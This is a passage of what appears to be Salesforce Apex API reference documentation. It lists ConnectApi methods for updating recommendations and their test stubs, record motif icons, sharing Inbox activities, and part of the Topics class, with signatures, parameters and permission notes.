Recommendations ClassReference
Signature
public static ConnectApi.RecommendationDefinition updateRecommendationDefinition(String
communityId, String recommendationDefinitionId, ConnectApi.RecommendationDefinitionInput
recommendationDefinition)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
recommendationDefinitionId
Type: String
ID of the recommendation definition.
recommendationDefinition
Type: ConnectApi.RecommendationDefinitionInput
A ConnectApi.RecommendationDefinitionInput object containing the properties to update.
Return Value
Type: ConnectApi.RecommendationDefinition
Usage
Community managers (users with the “Create and Set Up Communities” or “Manage Communities” permission) can access, create, and
delete audiences, definitions, and schedules for community recommendations. Users with the “Modify All Data” permission can also
access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations.
updateRecommendationDefinitionPhoto(communityId, recommendationDefinitionId,
fileUpload)
Update a recommendation definition photo with a file that hasn’t been uploaded.
API Version
35.0
Requires Chatter
Yes
Signature
public static ConnectApi.Photo updateRecommendationDefinitionPhoto(String communityId,
String recommendationDefinitionId, ConnectApi.BinaryInput fileUpload)
1365
Recommendations ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
recommendationDefinitionId
Type: String
ID of the recommendation definition.
fileUpload
Type: ConnectApi.BinaryInput
A file to use as the photo. The content type must be usable as an image.
Return Value
Type: ConnectApi.Photo
Usage
Community managers (users with the “Create and Set Up Communities” or “Manage Communities” permission) can access, create, and
delete audiences, definitions, and schedules for community recommendations. Users with the “Modify All Data” permission can also
access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations.
updateRecommendationDefinitionPhoto(communityId, recommendationDefinitionId,
fileId, versionNumber)
Update a recommendation definition photo with a file that’s already uploaded.
API Version
35.0
Requires Chatter
Yes
Signature
public static ConnectApi.Photo updateRecommendationDefinitionPhoto(String communityId,
String recommendationDefinitionId, String fileId, Integer versionNumber)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
recommendationDefinitionId
Type: String
ID of the recommendation definition.
1366
Recommendations ClassReference
fileId
Type: String
ID of a file already uploaded. The file must be an image, and be smaller than 2 GB.
versionNumber
Type: Integer
Version number of the existing file. Specify either an existing version number, or null to get the latest version.
Return Value
Type: ConnectApi.Photo
Usage
Community managers (users with the “Create and Set Up Communities” or “Manage Communities” permission) can access, create, and
delete audiences, definitions, and schedules for community recommendations. Users with the “Modify All Data” permission can also
access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations.
updateRecommendationDefinitionPhotoWithAttributes(communityId,
recommendationDefinitionId, photo)
Update a recommendation definition photo with a file that’s been uploaded but requires cropping.
API Version
35.0
Requires Chatter
Yes
Signature
public static ConnectApi.Photo updateRecommendationDefinitionPhotoWithAttributes(String
communityId, String recommendationDefinitionId, ConnectApi.PhotoInput photo)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
recommendationDefinitionId
Type: String
ID of the recommendation definition.
photo
Type: ConnectApi.PhotoInput
A ConnectApi.PhotoInput object specifying the file ID, version number, and cropping parameters.
1367
Recommendations ClassReference
Return Value
Type: ConnectApi.Photo
Usage
Community managers (users with the “Create and Set Up Communities” or “Manage Communities” permission) can access, create, and
delete audiences, definitions, and schedules for community recommendations. Users with the “Modify All Data” permission can also
access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations.
updateRecommendationDefinitionPhotoWithAttributes(communityId,
recommendationDefinitionId, photo, fileUpload)
Update a recommendation definition photo with a file that hasn’t been uploaded and requires cropping.
API Version
35.0
Requires Chatter
Yes
Signature
public static ConnectApi.Photo updateRecommendationDefinitionPhotoWithAttributes(String
communityId, String recommendationDefinitionId, ConnectApi.PhotoInput photo,
ConnectApi.BinaryInput fileUpload)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
recommendationDefinitionId
Type: String
ID of the recommendation definition.
photo
Type: ConnectApi.PhotoInput
A ConnectApi.PhotoInput object specifying the cropping parameters.
fileUpload
Type: ConnectApi.BinaryInput
A file to use as the photo. The content type must be usable as an image.
Return Value
Type: ConnectApi.Photo
1368
Recommendations ClassReference
Usage
Community managers (users with the “Create and Set Up Communities” or “Manage Communities” permission) can access, create, and
delete audiences, definitions, and schedules for community recommendations. Users with the “Modify All Data” permission can also
access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations.
updateScheduledRecommendation(communityId, scheduledRecommendationId,
scheduledRecommendation)
Update a scheduled recommendation.
API Version
35.0
Requires Chatter
No
Signature
public static ConnectApi.ScheduledRecommendation updateScheduledRecommendation(String
communityId, String scheduledRecommendationId, ConnectApi.ScheduledRecommendationInput
scheduledRecommendation)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
scheduledRecommendationId
Type: String
ID of the scheduled recommendation.
scheduledRecommendation
Type: ConnectApi.ScheduledRecommendationInput
A ConnectApi.ScheduledRecommendationInput object containing the properties to update.
Return Value
Type: ConnectApi.ScheduledRecommendation
Usage
Community managers (users with the “Create and Set Up Communities” or “Manage Communities” permission) can access, create, and
delete audiences, definitions, and schedules for community recommendations. Users with the “Modify All Data” permission can also
access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations.
Ranking scheduled recommendations example
If you have these scheduled recommendations:
1369
Recommendations ClassReference
RankScheduled Recommendations
1ScheduledRecommendationA
2ScheduledRecommendationB
3ScheduledRecommendationC
And you include this information in the Scheduled Recommendation Input:
RankScheduled Recommendation
2ScheduledRecommendationD
The result is:
RankScheduled Recommendation
1ScheduledRecommendationA
2ScheduledRecommendationD
3ScheduledRecommendationB
4ScheduledRecommendationC
updateScheduledRecommendation(communityId, scheduledRecommendationId, rank,
enabled, recommendationAudienceId)
Update a scheduled recommendation with the specified parameters.
API Version
35.0
Requires Chatter
No
Signature
public static ConnectApi.ScheduledRecommendation updateScheduledRecommendation(String
communityId, String scheduledRecommendationId, Integer rank, Boolean enabled, String
recommendationAudienceId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
1370
Recommendations ClassReference
scheduledRecommendationId
Type: String
ID of the scheduled recommendation.
rank
Type: Integer
Relative rank of the scheduled recommendation indicated by ascending whole numbers starting with 1.
Setting the rank is comparable to an insertion into an ordered list. The scheduled recommendation is inserted into the position
specified by the rank. The rank of all the scheduled recommendations after it is pushed down. See Ranking scheduled
recommendations example.
If the specified rank is larger than the size of the list, the scheduled recommendation is put at the end of the list. The rank of
the scheduled recommendation is the size of the list, instead of the one specified.
If a rank is not specified, the scheduled recommendation is put at the end of the list.
enabled
Type: Boolean
Indicates whether scheduling is enabled. If true, the recommendation is enabled and appears in communities. If false,
recommendations in feeds in the Salesforce1 mobile browser app aren’t removed, but no new recommendations appear. In
communities using the Summer ’15 or later version of the Customer Service (Napili) template, disabled recommendations no longer
appear.
recommendationAudienceId
Type: String
ID of the recommendation definition that this scheduled recommendation schedules.
Return Value
Type: ConnectApi.ScheduledRecommendation
Usage
Community managers (users with the “Create and Set Up Communities” or “Manage Communities” permission) can access, create, and
delete audiences, definitions, and schedules for community recommendations. Users with the “Modify All Data” permission can also
access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations.
Ranking scheduled recommendations example
If you have these scheduled recommendations:
RankScheduled Recommendations
1ScheduledRecommendationA
2ScheduledRecommendationB
3ScheduledRecommendationC
And you include this information in the Scheduled Recommendation Input:
1371
Recommendations ClassReference
RankScheduled Recommendation
2ScheduledRecommendationD
The result is:
RankScheduled Recommendation
1ScheduledRecommendationA
2ScheduledRecommendationD
3ScheduledRecommendationB
4ScheduledRecommendationC
Recommendations Test Methods
The following are the test methods for Recommendations. All methods are static.
For information about using these methods to test your ConnectApi code, see Testing ConnectApi Code.
IN THIS SECTION:
setTestGetRecommendationForUser(communityId, userId, action, objectId, result)
Registers a ConnectApi.RecommendationCollection object to be returned when getRecommendationForUser
is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.
setTestGetRecommendationsForUser(communityId, userId, contextAction, contextObjectId, maxResults, result)
Registers a ConnectApi.RecommendationCollection object to be returned when getRecommendationsForUser
is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.
setTestGetRecommendationsForUser(communityId, userId, contextAction, contextObjectId, channel, maxResults, result)
Registers a ConnectApi.RecommendationCollection object to be returned when getRecommendationsForUser
is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.
setTestGetRecommendationsForUser(communityId, userId, action, contextAction, contextObjectId, maxResults, result)
Registers a ConnectApi.RecommendationCollection object to be returned when getRecommendationsForUser
is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.
setTestGetRecommendationsForUser(communityId, userId, action, contextAction, contextObjectId, channel, maxResults, result)
Registers a ConnectApi.RecommendationCollection object to be returned when getRecommendationsForUser
is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.
setTestGetRecommendationsForUser(communityId, userId, action, objectCategory, contextAction, contextObjectId, maxResults,
result)
Registers a ConnectApi.RecommendationCollection object to be returned when getRecommendationsForUser
is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.
setTestGetRecommendationsForUser(communityId, userId, action, objectCategory, contextAction, contextObjectId, channel,
maxResults, result)
Registers a ConnectApi.RecommendationCollection object to be returned when getRecommendationsForUser
is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.
1372
Recommendations ClassReference
setTestGetRecommendationForUser(communityId, userId, action, objectId, result)
Registers a ConnectApi.RecommendationCollection object to be returned when getRecommendationForUser
is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.
API Version
33.0
Requires Chatter
Yes
Signature
public static Void setTestGetRecommendationForUser(String communityId, String userId,
ConnectApi.RecommendationActionType action, String objectId,
ConnectApi.RecommendationCollection result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
userId
Type: String
The ID for the context user or the keyword me.
action
Type: ConnectApi.RecommendationActionType
Specifies the action to take on a recommendation.
•follow—Follow a file, record, topic, or user.
•join—Join a group.
•view—View a file, group, article, record, user, custom, or static recommendation.
objectId
Type: String
Specifies the object to take action on.
•If action is follow, objectId is a user ID, file ID, record ID, or topic ID (version 36.0 and later).
•If action is join, objectId is a group ID.
•If action is view, objectId is a user ID, file ID, group ID, record ID, custom recommendation ID, the enum Today for
static recommendations, or an article ID (version 37.0 and later).
result
Type: ConnectApi.RecommendationCollection
The object containing test data.
1373
Recommendations ClassReference
Return Value
Type: Void
SEE ALSO:
getRecommendationForUser(communityId, userId, action, objectId)
Testing ConnectApi Code
setTestGetRecommendationsForUser(communityId, userId, contextAction,
contextObjectId, maxResults, result)
Registers a ConnectApi.RecommendationCollection object to be returned when getRecommendationsForUser
is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.
API Version
33.0–35.0
Important: In version 36.0 and later, use setTestGetRecommendationsForUser(communityId, userId,
contextAction, contextObjectId, channel, maxResults, result).
Requires Chatter
Yes
Signature
public static Void setTestGetRecommendationsForUser(String communityId, String userId,
ConnectApi.RecommendationActionType contextAction, String contextObjectId, Integer
maxResults, ConnectApi.RecommendationCollection result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
userId
Type: String
The ID for the context user or the keyword me.
contextAction
Type: ConnectApi.RecommendationActionType
Action that the context user just performed. Supported values are:
•follow
•view
Use contextAction and contextObjectId together to get new recommendations based on the action just performed.
If you don’t want recommendations based on a recent action, specify null.
1374
Recommendations ClassReference
contextObjectId
Type: String
ID of the object that the context user just performed an action on.
•If contextAction is follow, contextObjectId is a user ID, file ID, or record ID.
•If contextAction is view, contextObjectId is a user ID, file ID, group ID, or record ID.
Use contextAction and contextObjectId together to get new recommendations based on the action just performed.
If you don’t want recommendations based on a recent action, specify null.
maxResults
Type: Integer
Maximum number of recommendation results; default is 10. Values must be from 1 to 99.
result
Type: ConnectApi.RecommendationCollection
The object containing test data.
Return Value
Type: Void
SEE ALSO:
getRecommendationsForUser(communityId, userId, contextAction, contextObjectId, maxResults)
Testing ConnectApi Code
setTestGetRecommendationsForUser(communityId, userId, contextAction,
contextObjectId, channel, maxResults, result)
Registers a ConnectApi.RecommendationCollection object to be returned when getRecommendationsForUser
is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.
API Version
36.0
Requires Chatter
Yes
Signature
public static Void setTestGetRecommendationsForUser(String communityId, String userId,
ConnectApi.RecommendationActionType contextAction, String contextObjectId,
ConnectApi.RecommendationChannel channel, Integer maxResults,
ConnectApi.RecommendationCollection result)
1375
Recommendations ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
userId
Type: String
The ID for the context user or the keyword me.
contextAction
Type: ConnectApi.RecommendationActionType
Action that the context user just performed. Supported values are:
•follow
•view
Use contextAction and contextObjectId together to get new recommendations based on the action just performed.
If you don’t want recommendations based on a recent action, specify null.
contextObjectId
Type: String
ID of the object that the context user just performed an action on.
•If contextAction is follow, contextObjectId is a user ID, file ID, record ID, or topic ID.
•If contextAction is view, contextObjectId is a user ID, file ID, group ID, record ID, or article ID (version 37.0 and
later).
Use contextAction and contextObjectId together to get new recommendations based on the action just performed.
If you don’t want recommendations based on a recent action, specify null.
channel
Type: ConnectApi.RecommendationChannel
Specifies a way to tie recommendations together, for example, to display recommendations in specific places in the UI or to show
recommendations based on time of day or geographic locations. Values are:
•CustomChannel1—Custom recommendation channel. Not used by default. Work with your community manager to define
custom channels. For example, community managers can use Community Builder to determine where recommendations appear.
•CustomChannel2—Custom recommendation channel. Not used by default. Work with your community manager to define
custom channels.
•CustomChannel3—Custom recommendation channel. Not used by default. Work with your community manager to define
custom channels.
•CustomChannel4—Custom recommendation channel. Not used by default. Work with your community manager to define
custom channels.
•CustomChannel5—Custom recommendation channel. Not used by default. Work with your community manager to define
custom channels.
•DefaultChannel—Default recommendation channel. Recommendations appear by default on the Customer Service
(Napili) community home and question detail pages and in the feed in communities in the Salesforce1 mobile browser app.
They also appear anywhere community managers add recommendations using Community Builder in communities using the
Summer ’15 or later version of the Customer Service (Napili) template.
maxResults
Type: Integer
1376
Recommendations ClassReference
Maximum number of recommendation results; default is 10. Values must be from 1 to 99.
result
Type: ConnectApi.RecommendationCollection
The object containing test data.
Return Value
Type: Void
SEE ALSO:
getRecommendationsForUser(communityId, userId, contextAction, contextObjectId, channel, maxResults)
Testing ConnectApi Code
setTestGetRecommendationsForUser(communityId, userId, action, contextAction,
contextObjectId, maxResults, result)
Registers a ConnectApi.RecommendationCollection object to be returned when getRecommendationsForUser
is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.
API Version
33.0–35.0
Important: In version 36.0 and later, use setTestGetRecommendationsForUser(communityId, userId,
action, contextAction, contextObjectId, channel, maxResults, result).
Requires Chatter
Yes
Signature
public static Void setTestGetRecommendationsForUser(String communityId, String userId,
ConnectApi.RecommendationActionType action, ConnectApi.RecommendationActionType
contextAction, String contextObjectId, Integer maxResults,
ConnectApi.RecommendationCollection result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
userId
Type: String
The ID for the context user or the keyword me.
action
Type: ConnectApi.RecommendationActionType
1377
Recommendations ClassReference
Specifies the action to take on a recommendation.
•follow—Follow a file, record, topic, or user.
•join—Join a group.
•view—View a file, group, article, record, user, custom, or static recommendation.
contextAction
Type: ConnectApi.RecommendationActionType
Action that the context user just performed. Supported values are:
•follow
•view
Use contextAction and contextObjectId together to get new recommendations based on the action just performed.
If you don’t want recommendations based on a recent action, specify null.
contextObjectId
Type: String
ID of the object that the context user just performed an action on.
•If contextAction is follow, contextObjectId is a user ID, file ID, or record ID.
•If contextAction is view, contextObjectId is a user ID, file ID, group ID, or record ID.
Use contextAction and contextObjectId together to get new recommendations based on the action just performed.
If you don’t want recommendations based on a recent action, specify null.
maxResults
Type: Integer
Maximum number of recommendation results; default is 10. Values must be from 1 to 99.
result
Type: ConnectApi.RecommendationCollection
The object containing test data.
Return Value
Type: Void
SEE ALSO:
getRecommendationsForUser(communityId, userId, action, contextAction, contextObjectId, maxResults)
Testing ConnectApi Code
setTestGetRecommendationsForUser(communityId, userId, action, contextAction,
contextObjectId, channel, maxResults, result)
Registers a ConnectApi.RecommendationCollection object to be returned when getRecommendationsForUser
is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.
API Version
36.0
1378
Recommendations ClassReference
Requires Chatter
Yes
Signature
public static Void setTestGetRecommendationsForUser(String communityId, String userId,
ConnectApi.RecommendationActionType action, ConnectApi.RecommendationActionType
contextAction, String contextObjectId, ConnectApi.RecommendationChannel channel, Integer
maxResults, ConnectApi.RecommendationCollection result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
userId
Type: String
The ID for the context user or the keyword me.
action
Type: ConnectApi.RecommendationActionType
Specifies the action to take on a recommendation.
•follow—Follow a file, record, topic, or user.
•join—Join a group.
•view—View a file, group, article, record, user, custom, or static recommendation.
contextAction
Type: ConnectApi.RecommendationActionType
Action that the context user just performed. Supported values are:
•follow
•view
Use contextAction and contextObjectId together to get new recommendations based on the action just performed.
If you don’t want recommendations based on a recent action, specify null.
contextObjectId
Type: String
ID of the object that the context user just performed an action on.
•If contextAction is follow, contextObjectId is a user ID, file ID, record ID, or topic ID.
•If contextAction is view, contextObjectId is a user ID, file ID, group ID, record ID, or article ID (version 37.0 and
later).
Use contextAction and contextObjectId together to get new recommendations based on the action just performed.
If you don’t want recommendations based on a recent action, specify null.
channel
Type: ConnectApi.RecommendationChannel
1379
Recommendations ClassReference
Specifies a way to tie recommendations together, for example, to display recommendations in specific places in the UI or to show
recommendations based on time of day or geographic locations. Values are:
•CustomChannel1—Custom recommendation channel. Not used by default. Work with your community manager to define
custom channels. For example, community managers can use Community Builder to determine where recommendations appear.
•CustomChannel2—Custom recommendation channel. Not used by default. Work with your community manager to define
custom channels.
•CustomChannel3—Custom recommendation channel. Not used by default. Work with your community manager to define
custom channels.
•CustomChannel4—Custom recommendation channel. Not used by default. Work with your community manager to define
custom channels.
•CustomChannel5—Custom recommendation channel. Not used by default. Work with your community manager to define
custom channels.
•DefaultChannel—Default recommendation channel. Recommendations appear by default on the Customer Service
(Napili) community home and question detail pages and in the feed in communities in the Salesforce1 mobile browser app.
They also appear anywhere community managers add recommendations using Community Builder in communities using the
Summer ’15 or later version of the Customer Service (Napili) template.
maxResults
Type: Integer
Maximum number of recommendation results; default is 10. Values must be from 1 to 99.
result
Type: ConnectApi.RecommendationCollection
The object containing test data.
Return Value
Type: Void
SEE ALSO:
getRecommendationsForUser(communityId, userId, action, contextAction, contextObjectId, channel, maxResults)
Testing ConnectApi Code
setTestGetRecommendationsForUser(communityId, userId, action, objectCategory,
contextAction, contextObjectId, maxResults, result)
Registers a ConnectApi.RecommendationCollection object to be returned when getRecommendationsForUser
is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.
API Version
33.0–35.0
Important: In version 36.0 and later, use setTestGetRecommendationsForUser(communityId, userId,
action, objectCategory, contextAction, contextObjectId, channel, maxResults, result).
1380
Recommendations ClassReference
Requires Chatter
Yes
Signature
public static Void setTestGetRecommendationsForUser(String communityId, String userId,
ConnectApi.RecommendationActionType action, String objectCategory,
ConnectApi.RecommendationActionType contextAction, String contextObjectId, Integer
maxResults, ConnectApi.RecommendationCollection result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
userId
Type: String
The ID for the context user or the keyword me.
action
Type: ConnectApi.RecommendationActionType
Specifies the action to take on a recommendation.
•follow—Follow a file, record, topic, or user.
•join—Join a group.
•view—View a file, group, article, record, user, custom, or static recommendation.
objectCategory
Type: String
•If action is follow, objectCategory is users, files, or records.
•If action is join, objectCategory is groups.
•If action is view, objectCategory is users, files, groups, records,custom, or apps.
You can also specify a key prefix, the first three characters of the object ID, as the objectCategory. Valid values are:
•If action is follow, objectCategory is 005 (users), 069 (files), or 001 (accounts), for example.
•If action is join, objectCategory is 0F9 (groups).
•If action is view, objectCategory is 005 (users), 069 (files), 0F9 (groups), 0RD (custom recommendations), T
(static recommendations), or 001 (accounts), for example.
contextAction
Type: ConnectApi.RecommendationActionType
Action that the context user just performed. Supported values are:
•follow
•view
Use contextAction and contextObjectId together to get new recommendations based on the action just performed.
If you don’t want recommendations based on a recent action, specify null.
1381
Recommendations ClassReference
contextObjectId
Type: String
ID of the object that the context user just performed an action on.
•If contextAction is follow, contextObjectId is a user ID, file ID, or record ID.
•If contextAction is view, contextObjectId is a user ID, file ID, group ID, or record ID.
Use contextAction and contextObjectId together to get new recommendations based on the action just performed.
If you don’t want recommendations based on a recent action, specify null.
maxResults
Type: Integer
Maximum number of recommendation results; default is 10. Values must be from 1 to 99.
result
Type: ConnectApi.RecommendationCollection
The object containing test data.
Return Value
Type: Void
SEE ALSO:
getRecommendationsForUser(communityId, userId, action, objectCategory, contextAction, contextObjectId, maxResults)
Testing ConnectApi Code
setTestGetRecommendationsForUser(communityId, userId, action, objectCategory,
contextAction, contextObjectId, channel, maxResults, result)
Registers a ConnectApi.RecommendationCollection object to be returned when getRecommendationsForUser
is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.
API Version
36.0
Requires Chatter
Yes
Signature
public static Void setTestGetRecommendationsForUser(String communityId, String userId,
ConnectApi.RecommendationActionType action, String objectCategory,
ConnectApi.RecommendationActionType contextAction, String contextObjectId,
ConnectApi.RecommendationChannel channel, Integer maxResults,
ConnectApi.RecommendationCollection result)
1382
Recommendations ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
userId
Type: String
The ID for the context user or the keyword me.
action
Type: ConnectApi.RecommendationActionType
Specifies the action to take on a recommendation.
•follow—Follow a file, record, topic, or user.
•join—Join a group.
•view—View a file, group, article, record, user, custom, or static recommendation.
objectCategory
Type: String
•If action is follow, objectCategory is users, files, records, or topics.
•If action is join, objectCategory is groups.
•If action is view, objectCategory is users, files, groups, records,custom, apps, or articles
(version 37.0 and later).
You can also specify a key prefix, the first three characters of the object ID, as the objectCategory. Valid values are:
•If action is follow, objectCategory is 005 (users), 069 (files), 0TO (topics), or 001 (accounts), for example.
•If action is join, objectCategory is 0F9 (groups).
•If action is view, objectCategory is 005 (users), 069 (files), 0F9 (groups), 0RD (custom recommendations), T
(static recommendations), 001 (accounts), or kA0 (articles), for example, (version 370 and later).
contextAction
Type: ConnectApi.RecommendationActionType
Action that the context user just performed. Supported values are:
•follow
•view
Use contextAction and contextObjectId together to get new recommendations based on the action just performed.
If you don’t want recommendations based on a recent action, specify null.
contextObjectId
Type: String
ID of the object that the context user just performed an action on.
•If contextAction is follow, contextObjectId is a user ID, file ID, record ID, or topic ID.
•If contextAction is view, contextObjectId is a user ID, file ID, group ID, record ID, or article ID (version 37.0 and
later).
Use contextAction and contextObjectId together to get new recommendations based on the action just performed.
If you don’t want recommendations based on a recent action, specify null.
1383
Recommendations ClassReference
channel
Type: ConnectApi.RecommendationChannel
Specifies a way to tie recommendations together, for example, to display recommendations in specific places in the UI or to show
recommendations based on time of day or geographic locations. Values are:
•CustomChannel1—Custom recommendation channel. Not used by default. Work with your community manager to define
custom channels. For example, community managers can use Community Builder to determine where recommendations appear.
•CustomChannel2—Custom recommendation channel. Not used by default. Work with your community manager to define
custom channels.
•CustomChannel3—Custom recommendation channel. Not used by default. Work with your community manager to define
custom channels.
•CustomChannel4—Custom recommendation channel. Not used by default. Work with your community manager to define
custom channels.
•CustomChannel5—Custom recommendation channel. Not used by default. Work with your community manager to define
custom channels.
•DefaultChannel—Default recommendation channel. Recommendations appear by default on the Customer Service
(Napili) community home and question detail pages and in the feed in communities in the Salesforce1 mobile browser app.
They also appear anywhere community managers add recommendations using Community Builder in communities using the
Summer ’15 or later version of the Customer Service (Napili) template.
maxResults
Type: Integer
Maximum number of recommendation results; default is 10. Values must be from 1 to 99.
result
Type: ConnectApi.RecommendationCollection
The object containing test data.
Return Value
Type: Void
SEE ALSO:
getRecommendationsForUser(communityId, userId, action, objectCategory, contextAction, contextObjectId, channel, maxResults)
Testing ConnectApi Code
Records Class
Access information about record motifs, which are small icons used to distinguish record types in the Salesforce UI.
Namespace
ConnectApi
Records Methods
The following are methods for Records. All methods are static.
1384
Records ClassReference
IN THIS SECTION:
getMotif(communityId, idOrPrefix)
Returns a Motif object that contains the URLs for a set of small, medium, and large motif icons for the specified record. It can also
contain a base color for the record.
getMotifBatch(communityId, idOrPrefixList)
Gets a motif for the specified list of objects. Returns a list of BatchResult objects containing ConnectApi.Motif objects.
Returns errors embedded in the results for those users that couldn’t be loaded.
getMotif(communityId, idOrPrefix)
Returns a Motif object that contains the URLs for a set of small, medium, and large motif icons for the specified record. It can also
contain a base color for the record.
API Version
28.0
Requires Chatter
No
Signature
public static ConnectApi.Motif getMotif(String communityId, String idOrPrefix)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
idOrPrefix
Type: String
An ID or key prefix.
Return Value
Type: ConnectApi.Motif
Usage
Each Salesforce record type has its own set of motif icons. See ConnectApi.Motif.
getMotifBatch(communityId, idOrPrefixList)
Gets a motif for the specified list of objects. Returns a list of BatchResult objects containing ConnectApi.Motif objects.
Returns errors embedded in the results for those users that couldn’t be loaded.
1385
Records ClassReference
API Version
31.0
Requires Chatter
No
Signature
public static ConnectApi.BatchResult[] getMotifBatch(String communityId, List<String>
idOrPrefixList)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
idOrPrefixList
Type: List<String>
A list of object IDs or prefixes.
Return Value
Type: BatchResult[]
The BatchResult.getResults() method returns a ConnectApi.Motif object.
Example
String communityId = null;
List<String> prefixIds = new List<String>{'001','01Z','069' };
// Get info about the motifs of all records in the list.
ConnectApi.BatchResult[] batchResults = ConnectApi.Records.getMotifBatch(communityId,
prefixIds);
for (ConnectApi.BatchResult batchResult : batchResults) {
if (batchResult.isSuccess()) {
// Operation was successful.
// Print the color of each motif.
ConnectApi.Motif motif;
if(batchResult.getResult() instanceof ConnectApi.Motif) {
motif = (ConnectApi.Motif) batchResult.getResult();
}
System.debug('SUCCESS');
System.debug(motif.color);
}
else {
// Operation failed. Print errors.
System.debug('FAILURE');
System.debug(batchResult.getErrorMessage());
1386
Records ClassReference
}
}
SalesforceInbox Class
Access information about Automated Activity Capture, which is available in Einstein and Salesforce Inbox.
Namespace
ConnectApi
SalesforceInbox Methods
The following are methods for SalesforceInbox. All methods are static.
IN THIS SECTION:
shareActivity(activityId, sharingInfo)
Share specific emails or events with certain groups of users.
shareActivity(activityId, sharingInfo)
Share specific emails or events with certain groups of users.
API Version
39.0
Requires Chatter
No
Signature
public static ConnectApi.ActivitySharingResult shareActivity(String activityId,
ConnectApi.ActivitySharingInput sharingInfo)
Parameters
activityId
Type: String
The ID of the activity.
sharingInfo
Type: ConnectApi.ActivitySharingInput
A ConnectApi.ActivitySharingInput object.
1387
SalesforceInbox ClassReference
Return Value
Type: ConnectApi.ActivitySharingResult
Usage
This method is a feature of both Sales Cloud Einstein and Inbox. It lets users connect their email and calendar to Salesforce. Then, their
emails and events are automatically added to related Salesforce records. Users can specify who their individual emails and events are
shared with.
Topics Class
Access information about topics, such as their descriptions, the number of people talking about them, related topics, and information
about groups contributing to the topic. Update a topic’s name or description, merge topics, and add and remove topics from records
and feed items.
Namespace
ConnectApi
Topics Methods
The following are methods for Topics. All methods are static.
IN THIS SECTION:
assignTopic(communityId, recordId, topicId)
Assigns the specified topic to the specified record or feed item. Only users with the “Assign Topics” permission can add existing
topics to records or feed items. Administrators must enable topics for objects before users can add topics to records of that object
type.
assignTopicByName(communityId, recordId, topicName)
Assigns the specified topic to the specified record or feed item. Only users with the “Assign Topics” permission can add existing
topics to records or feed items. Only users with the “Create Topics” permission can add new topics to records or feed items.
Administrators must enable topics for objects before users can add topics to records of that object type.
createTopic(communityId, name, description)
Creates a topic. Only users with the “Create Topics” permission can create a topic.
deleteTopic(communityId, topicId)
Deletes the specified topic. Only users with the “Delete Topics” or “Modify All Data” permission can delete topics.
getGroupsRecentlyTalkingAboutTopic(communityId, topicId)
Returns information about the five groups that most recently contributed to the specified topic.
getRecentlyTalkingAboutTopicsForGroup(communityId, groupId)
Returns up to five topics most recently used in the specified group.
getRecentlyTalkingAboutTopicsForUser(communityId, userId)
Topics recently used by the specified user. Get up to five topics most recently used by the specified user.
getRelatedTopics(communityId, topicId)
List of five topics most closely related to the specified topic.
1388
Topics ClassReference
getTopic(communityId, topicId)
Returns information about the specified topic.
getTopics(communityId, recordId)
Returns the first page of topics assigned to the specified record or feed item. Administrators must enable topics for objects before
users can add topics to records of that object type.
getTopics(communityId)
Returns the first page of topics for the organization.
getTopics(communityId, sortParam)
Returns the first page of topics for the organization in the specified order.
getTopics(communityId, pageParam, pageSize)
Returns the topics for the specified page.
getTopics(communityId, pageParam, pageSize, sortParam)
Returns the topics for the specified page in the specified order.
getTopics(communityId, q, sortParam)
Returns the topics that match the specified search criteria in the specified order.
getTopics(communityId, q, pageParam, pageSize)
Returns the topics that match the specified search criteria for the specified page.
getTopics(communityId, q, pageParam, pageSize, sortParam)
Returns the topics that match the specified search criteria for the specified page in the specified order.
getTopics(communityId, q, exactMatch)
Returns the topic that matches the exact, case-insensitive name.
getTopicsOrFallBackToRenamedTopics(communityId, q, exactMatch, fallBackToRenamedTopics)
If there isn’t an exact match, returns the most recent renamed topic match.
getTopicSuggestions(communityId, recordId, maxResults)
Returns suggested topics for the specified record or feed item. Administrators must enable topics for objects before users can see
suggested topics for records of that object type.
getTopicSuggestions(communityId, recordId)
Returns suggested topics for the specified record or feed item. Administrators must enable topics for objects before users can see
suggested topics for records of that object type.
getTopicSuggestionsForText(communityId, text, maxResults)
Returns suggested topics for the specified string of text.
getTopicSuggestionsForText(communityId, text)
Returns suggested topics for the specified string of text.
getTrendingTopics(communityId)
List of the top five trending topics for the organization.
getTrendingTopics(communityId, maxResults)
List of the top five trending topics for the organization.
mergeTopics(communityId, topicId, idsToMerge)
Merges up to five secondary topics with the specified primary topic.
1389
Topics ClassReference
reassignTopicsByName(communityId, recordId, topicNames)
